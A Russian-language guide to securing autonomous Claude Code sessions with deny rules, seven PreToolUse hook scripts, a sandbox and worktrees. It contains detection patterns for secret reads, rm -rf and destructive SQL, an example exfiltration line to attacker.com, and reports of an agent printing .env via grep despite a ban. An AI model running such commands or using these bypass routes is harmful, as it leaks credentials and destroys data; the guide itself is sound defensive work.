Как защитить проект при ночной работе Claude Code: 7 хуков

Что изменилось в 2026 году: автономный Claude Code и риски#

Раньше Claude Code после каждого ответа ждал разрешения на запись. Это замедляло работу, зато агент не мог продолжить без вашего подтверждения. В 2026 году Anthropic представила auto-mode: отдельный классификатор оценивает, следует ли разрешить каждое действие. Команды /loop запускают повторение запроса через заданные интервалы в рамках сессии, а /schedule предназначена для долгих задач по расписанию. Сессии в фоне можно запустить командой claude --bg. Подробнее об автономном режиме см. в руководстве «/goal в Claude Code: автономный режим и Agent View».

Автономность развивается быстрее, чем защитные механизмы. В апреле 2026 года описывался случай, когда разработчик оставил Cursor с Claude Opus 4.6 в режиме --dangerously-skip-permissions на ночь. За девять секунд один вызов Railway API удалил производственную базу и резервные копии на уровне тома. Этот инцидент показывает, насколько серьёзными могут быть последствия неограниченного доступа.

Также в репозитории Anthropic были зарегистрированы две проблемы, о которых следует помнить при настройке permissions.deny в settings.json:

• Issue #44868 (7 апреля 2026 года): Claude Code, согласно сообщению об ошибке, вывел содержимое .env в транскрипт через grep -n, несмотря на запрет в CLAUDE.md. Проблема отмечена как открытая.
• Issue #24846 (11 февраля 2026 года): согласно сообщению, правило permissions.read.deny с шаблоном .env* не остановило инструмент Read от чтения .env.local. Issue закрыта как дубликат; исправление в предоставленных сведениях не указано.

Один слой settings.json недостаточен. Четыре слоя — permissions, hooks, sandbox и отдельные сессии — уменьшают риск, но не делают остальные полными. Оценка auto-mode не доказывает, что регулярное выражение поймает его пропуски. Для production нужны отдельная среда ОС без рабочих ключей и записи, сетевые ограничения вне модели и проверка границ до ночного запуска.

Чем отличаются зелёная и красная зоны проекта?#

Настраивать одинаковую защиту для всех проектов нерационально. Локальный эксперимент без доступа извне несёт иной риск, чем сервис с реальными платежами и данными клиентов. Слишком строгие правила могут замедлить работу в безопасной среде, а в среде с высокой ценой ошибки всё равно оставить пробелы.

Проект переходит из зелёной зоны в красную, если выполнено хотя бы одно из трёх условий: появились реальные клиенты, начались денежные операции или в базе стали храниться личные данные. До этого момента могут подойти auto-mode, несколько хуков и работа без sandbox. После перехода следует усилить защиту по схеме из этого руководства.

Главный ориентир — не стадия разработки, а последствия возможной ошибки. Локальный проект с тестовой учётной записью Stripe остаётся в зелёной зоне. Сервис с одним платящим клиентом и регистрационной формой уже относится к красной, даже если он считается черновиком. Ранние проекты часто откладывают защиту до запуска, хотя первый клиент может появиться уже на следующей неделе.

Как устроены permissions в settings.json?#

В официальной документации Anthropic порядок проверки описан так: сначала проверяются запреты, затем запрос подтверждения и разрешения. При совпадении с правилом deny действие запрещается, даже если есть совпадающее allow. Например, если в ~/.claude/settings.json запрещено читать .env, разрешение в настройках проекта не отменит этот запрет.

Пример базовой настройки ~/.claude/settings.json на пользовательском уровне:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Первые шесть правил запрещают чтение указанных секретных файлов в текущей папке и вложенных каталогах. Файлы *.pem и *.key часто содержат TLS- или SSH-ключи, а credentials*.json — учётные данные. Последние три правила ограничивают доступ к каталогам SSH, AWS и GPG.

Параметр disableBypassPermissionsMode: "disable" отключает флаг --dangerously-skip-permissions, также называемый YOLO-режимом. Это не позволяет случайно включить обход разрешений через скрипт или alias: Claude Code должен отклонить такой запуск с сообщением о том, что режим отключён управляемыми настройками.

С версии 2.1.142 параметр defaultMode: "auto", если он задан в настройках проекта или локальных настройках, игнорируется. Это препятствует автоматическому включению режима в чужом репозитории без согласия пользователя: согласно документации Anthropic, репозиторий не может самостоятельно включить auto-mode.

Это первый уровень защиты, но он не закрывает все возможные пути чтения секретов. Следующие разделы объясняют его ограничения и дополнительные меры.

Почему permissions.deny может быть недостаточно: два сообщения о проблемах#

Если бы permissions.deny останавливало любой способ доступа к секретам, предыдущего раздела было бы достаточно. Но ограничения инструмента не заменяют все остальные меры.

Issue #44868 (7 апреля 2026 года): в сообщении указано, что пользователь запретил в CLAUDE.md читать .env, .dev.vars и другие файлы с секретами. Вместо инструмента чтения Claude запустил grep -n SOMETHING .env. Команда grep -n выводит строку целиком вместе с номером, поэтому в результат может попасть API-токен. Вывод инструмента попадает в tool_result, отображается в транскрипте сессии и сохраняется в истории.

Issue #24846 (11 февраля 2026 года): автор сообщил, что в permissions.read.deny был указан шаблон **/.env*, но после просьбы прочитать .env.local инструмент Read выполнился и показал содержимое файла.

Issue закрыта как дубликат. В исходном материале указано, что на момент его подготовки в июне 2026 года проблему можно было воспроизвести.

Практический вывод: настройки в settings.json остаются полезным первым барьером, однако они могут не перехватить команды Bash вроде cat .env, grep API_KEY .env или head .env, случаи сбоя проверки правил и некоторые способы просмотра истории Git, например git diff или git show для коммита с файлом .env. Поэтому рекомендуется добавить второй уровень — хуки.

Как хуки блокируют распознанные опасные действия?#

Хуки и permissions действуют на разных этапах. Permissions учитываются при выборе действия. Хук запускается после того, как модель решила вызвать инструмент, но до передачи вызова системе: он проверяет входные данные и либо разрешает, либо останавливает операцию. Решение принимает написанный вами shell-код.

В официальной документации хуков Claude Code описано блокирующее поведение:

Корректно настроенный блокирующий PreToolUse с кодом2 отклоняет совпавший вызов. Это не доказывает распознавание каждой опасной эквивалентной команды. Stderr объясняет причину отказа, но охват скрипта нужно проверить отдельно.

События, для которых можно использовать код выхода 2:

• PreToolUse — останавливает вызов инструмента до выполнения. Это основное событие для защитных хуков.
• PermissionRequest — отклоняет запрос разрешения на действие.
• UserPromptSubmit — блокирует и удаляет пользовательский запрос. Может пригодиться, если в нём обнаружен подозрительный текст, например попытка внедрения инструкции из письма.
• Stop — не позволяет завершить сессию. Это можно использовать, чтобы продолжать работу до выполнения заданного условия.
• PreCompact — запрещает автоматическое сжатие контекста, например до принятия решения о сохранении транскрипта.
• WorktreeCreate — отклоняет создание worktree, если требуется запретить клонирование репозитория в неожиданное место.

Вместо кода выхода 2 хук может вернуть JSON с полем hookSpecificOutput.permissionDecision. Возможны четыре значения:

• allow — явно разрешает действие и обходит обычную проверку разрешений.
• deny — блокирует действие; для PreToolUse это эквивалент кода выхода 2.
• ask — передаёт вопрос пользователю для подтверждения.
• defer — оставляет решение обычной логике разрешений.

JSON позволяет точнее управлять поведением. Например, permissionDecision: "ask" требует подтверждения для операции, которая иначе прошла бы автоматически. Так можно настроить установку новых пакетов и изменение lockfile.

Подробное описание хуков и поддерживаемых событий приведено в руководстве «Хуки в Claude Code: 7 готовых правил под копипаст». Ниже — примеры для автономной работы.

Какие семь хуков настроить для ночной работы?#

Это второй уровень защиты. Скрипты размещаются в .claude/hooks/ и подключаются через .claude/settings.json; для обработки JSON нужен установленный jq.

Хук 1: запрет чтения .env, .pem и credentials.json

Дополнительная проверка выбранных путей Read и распространённых команд чтения секретов через Bash. Она не охватывает любой инструмент и способ чтения. Файл .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool с подозрительным путём
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash, который читает секрет через cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Подключите его в .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Установите право запуска через chmod +x .claude/hooks/block-secret-reads.sh. Испытывайте только на безвредном тестовом секрете в изолированной среде, не на настоящем .env.local. Проверьте и совпадения, и пропуски, не выводя рабочие ключи.

Хук2: блокировка буквальных git push в ночной сессии

Для автономной сессии пример консервативно блокирует все распознанные буквальные git push, включая ветки функций. Он не определяет текущую ветку и безопасность force-флага. Файл .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Подключите через PreToolUse с matcher Bash. Пример распознаёт git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main и буквальную отправку внутри цепочек && или ;. Это примеры строк для офлайн-проверки, не команды удалённому репозиторию.

Это текстовая эвристика. Алиасы Git, shell-функции, git -C ... push, составленные имена команд, скрипты и другие инструменты могут обойти её. Это не полный разбор оболочки. На Git-сервере настройте защищённые ветки и уберите обходящие их ключи. Автономную работу запускайте в изолированной среде без записи production. Промах hook не предоставляет таких полномочий.

Хук 3: блокировка разрушительных SQL-операций

Этот пример запрещает некоторые операции изменения схемы и удаления строк без условия. Файл .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM без WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE без WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Зарегистрируйте его для PreToolUse с matcher Bash. Операции DROP и DELETE без WHERE блокируются, а UPDATE без WHERE требует подтверждения. Последний случай иногда нужен, например при миграции, но его область действия следует проверить вручную.

Хук 4: фильтр команд rm -rf

В примере используется модель хука из документации Anthropic с запретом слишком широких команд:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * без явного scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Хук пропускает команды с явно заданной целью, например rm -rf node_modules и rm -rf .next/cache. Он блокирует варианты с широким охватом, включая rm -rf ., rm -rf / и rm -rf ~.

Хук 5: запрос подтверждения для новых пакетов

Хук позволяет запускать установку по lockfile без подтверждения, но запрашивает одобрение при добавлении новой зависимости:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Установка зависимостей по lockfile - пропускаем
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Добавление новых пакетов
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Такой подход пропускает команды установки по списку зависимостей, а при добавлении пакета просит подтвердить его название и версию. Перед запуском стоит проверить содержимое самого файла зависимостей и закреплённые в нём версии.

Хук 6: запрос подтверждения при изменении package.json и lockfile

Изменения манифеста зависимостей стоит проверять вручную, особенно после автономного запуска.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Зарегистрируйте этот хук для PreToolUse с matcher Write|Edit.

Хук 7: аудит вызовов Bash, Write и Edit

Для разбора ночных событий полезен последовательный журнал. В этом примере отдельный скрипт не нужен: регистрацию и запись выполняет команда с jq.

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Файл .claude/audit.jsonl пополняется по одной записи на строку. После ночного /loop можно выполнить tail -n 100 .claude/audit.jsonl | jq, чтобы просмотреть зафиксированные команды и их последовательность. Такой журнал упрощает разбор событий, когда полный транскрипт сессии слишком велик.

Как sandbox и worktree изолируют долгие сессии?#

Хуки проверяют отдельные операции, а sandbox задаёт более широкие пределы доступных файлов и сетевых соединений. Это дополнительная защита на случай, если конкретный хук не распознал действие.

В публикации Anthropic о sandboxing от 20 октября 2025 года приведены результаты внутренних измерений:

Anthropic связывает сокращение запросов с тем, что изолированные действия могут выполняться в заданных пределах. Это может ускорить работу, но основное назначение sandbox — ограничивать доступ.

Sandbox предоставляет два вида изоляции:

Изоляция файловой системы ограничивает чтение и запись разрешёнными каталогами. Если правила sandbox настроены соответствующим образом, попытки обратиться к /etc/hosts или ~/.ssh/id_rsa будут остановлены на уровне операционной системы.

Изоляция сети разрешает подключения только к указанным адресам. Это может помешать отправке прочитанного содержимого наружу. Например, если инструкция из внешнего файла побудит Claude прочитать .env и выполнить curl -X POST attacker.com -d "$ENV_CONTENT", соединение не должно пройти, если attacker.com не включён в список разрешённых узлов.

В Claude Code sandbox запускается командой /sandbox. Пример настроек в ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Для фоновых запусков через claude --bg можно добавить изоляцию worktree. В исходном материале описано, что фоновая сессия создаётся в отдельном .claude/worktrees/<name>/ и работает в собственной ветке. Это помогает избежать конфликтов записи между параллельными сессиями. О worktree также говорится в руководстве «Agent View и worktrees: автономный режим Claude Code».

Хорошая практика для параллельной работы — сохранять проверку основной ветки за человеком, а изолированные задачи запускать в отдельных worktree.

Sandbox дополняет цикл обратной связи: ограничения сдерживают доступные агенту действия, а тесты и другие проверки помогают выявлять ошибки в результатах.

В каких случаях подходит auto-mode 2026 года?#

В марте 2026 года Anthropic представила auto-mode как промежуточный вариант между ручным рассмотрением каждого запроса и работой без защитных ограничений. Классификатор на основе Sonnet 4.6 оценивает действия Claude до их выполнения. В блоге Anthropic Engineering механизм описан так:

У auto-mode есть два указанных ограничения:

• После трёх последовательных или 20 суммарных отказов классификатора сессия останавливается и передаёт решение человеку. Это ограничивает повторные попытки выполнить запрещённое действие.
• Согласно исходному материалу, режим разрешает действия, близкие к 93% типичных операций, которые пользователи обычно одобряют. Это уменьшает число запросов, но само по себе не гарантирует безопасность необычных действий.

Отдельно в материалах Anthropic приводится следующий показатель:

Заявленные17% — доля ложных отрицаний конкретной оценки, не вероятность каждого действия вашего проекта. Она не доказывает покрытие пропусков примерными hooks. В красной зоне нужны принудительная изоляция секретов и записи production, защищённые ветки и ключи без обхода.

Используйте hooks дополнительными проверками в одноразовой восстанавливаемой среде. Даже локальный проект содержит неотслеживаемые файлы или ключи, которые Git не восстановит. В красной зоне промах должен сдерживаться настоящими правами: набор regex не превращает произвольную оболочку в гарантированно безопасную.

Зачем разделять задачи между тремя типами сессий?#

Три вида задач рекомендуется выполнять в отдельных сессиях:

Тип 1: работа с личными данными. Сессия может обращаться к производственной базе, отправлять электронные письма и использовать учётные данные. Ей не следует обрабатывать внешние документы — письма, PDF-файлы и веб-страницы — или отправлять данные на произвольные адреса.

Тип 2: обработка внешних документов. Такая сессия может разбирать входящие письма, загружать веб-страницы и читать PDF из электронной почты. При этом у неё нет доступа к базе личных данных, а отправка информации наружу требует явного подтверждения.

Тип 3: публикация. Сессия может размещать сообщения в социальных сетях, отправлять рассылки или создавать pull request. Ей не нужны доступ к личным данным и обработка входящего контента.

Разделение ограничивает последствия prompt injection во внешнем документе. Если одна сессия одновременно читает PDF, обращается к базе клиентов и отправляет письма, вредоносная инструкция в документе может связать эти возможности в одну цепочку. Отдельные сессии уменьшают число прав, доступных в одном контексте.

На практике для разных типов задач можно настроить отдельные каталоги .claude и проекты Claude Code. Например, конфигурация для работы с данными может разрешать внутренние API, но запрещать прочую сеть; сессия обработки входящих документов может работать без сетевого доступа; сессия публикации — иметь доступ лишь к необходимым API.

Какие 12 проверок выполнить перед /loop?#

1. Настройте ~/.claude/settings.json с пользовательским deny для .env*, *.pem, *.key, credentials*.json, ~/.ssh/** и ~/.aws/**. Это базовый уровень защиты.

2. Добавьте disableBypassPermissionsMode: "disable" в ~/.claude/settings.json, чтобы запретить YOLO-флаг.

3. Примеры block-secret-reads.sh испытаны на выбранных строках чтения; настоящие секреты и рабочие ключи недоступны автономной среде.

4. Пример block-force-push.sh блокирует распознанные буквальные отправки независимо от флагов и назначения. Защищённые ветки и ключи без обхода обеспечены Git-сервером.

5. Установите block-destructive-sql.sh для блокировки DROP TABLE, TRUNCATE и DELETE FROM без WHERE.

6. Настройте хук block-rm-rf.sh, чтобы он блокировал rm -rf без явно заданного пути.

7. Добавьте хук ask-on-new-deps.sh, который требует подтверждения при npm install <new package>, отличая эту команду от npm install без аргументов.

8. Настройте ask-on-lockfile-change.sh для проверки изменений в package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml и Cargo.toml.

9. Включите общий журнал audit.jsonl для вызовов Bash, Write и Edit. Он пригодится для последующего разбора событий.

10. Запускайте долгие фоновые сессии в worktree, а не в основной ветке. claude --bg "task" может автоматически создавать worktree; проверьте, что в settings.json не задано worktree.bgIsolation: "none".

11. Перед долгой автономной задачей запустите /sandbox. Ограничьте файловый доступ директорией проекта и /tmp, а сеть — списком нужных адресов, например api.anthropic.com, github.com и registry.npmjs.org.

12. Добавьте этап проверки результата в саму задачу: после каждого крупного изменения запускайте тесты или линтер. Если проверка не проходит, сначала исправьте проблему.

Последний пункт относится к процессу работы, а не к параметрам инструмента. Важно, чтобы Claude мог проверять результат. Без такой проверки агент может продолжать работу, накапливая ошибки; с ней следующий этап начинается после успешного теста или линтера.

Семь антипаттернов: чего следует избегать#

1. Запуск --dangerously-skip-permissions на компьютере с доступом к production. Описанный выше случай показывает, что одна команда может привести к удалению производственной базы. Если подобный инцидент уже произошёл, следуйте пошаговому плану восстановления из руководства «Что делать, если ИИ удалил базу данных: чек-лист восстановления».

2. Использование только CLAUDE.md для защиты. Сообщение об issue #44868 описывало ситуацию, когда команда была выполнена до предупреждения модели. Текстовая инструкция задаёт контекст, но не блокирует вызов инструмента. Правильно настроенный hook блокирует совпавшие вызовы, а ОС, sandbox и ограничения сервисов обеспечивают более широкие границы. О настройке файла CLAUDE.md подробнее рассказывает руководство «Как правильно настроить CLAUDE.md».

3. Использование permissions.deny без хука. Issue #24846 описывала чтение .env.local при наличии правила для .env*. Хук может служить дополнительной проверкой команд Bash.

4. Считать auto-mode и regex-hooks изоляцией production. Доля ложных отрицаний относится к отдельной оценке, а охват hooks неполон. Уберите ключи записи production и проверьте принудительную границу вместо расчёта на перехват любой опасной операции.

5. Установка новых пакетов без подтверждения. Вредоносные пакеты с именами, похожими на названия популярных библиотек, могут появляться в реестрах. Используйте проверку новых зависимостей и контролируйте их версии.

6. Отсутствие журнала вызовов Bash. Без аудита сложнее восстановить последовательность ночных действий. Транскрипт может быть длинным, тогда как .claude/audit.jsonl позволяет просматривать события по строкам.

7. Работа фоновых сессий без worktree. Параллельные процессы в одном рабочем каталоге могут одновременно менять одни файлы. Проверьте настройку worktree.bgIsolation; в исходном материале указано, что по умолчанию она включена начиная с версии 2.1.143.

Ни один хук не заменяет предусмотрительность при выборе доступа для агента. Перед автономным запуском важно оценить, какие ресурсы доступны сессии и какие последствия будет иметь ошибка.

Подготовка к автономной работе включает настройку контекста: заранее задайте доступные агенту файлы, инструменты и сетевые адреса. Это помогает удерживать работу в заданных пределах.

Дополнительные материалы — на Ailoot.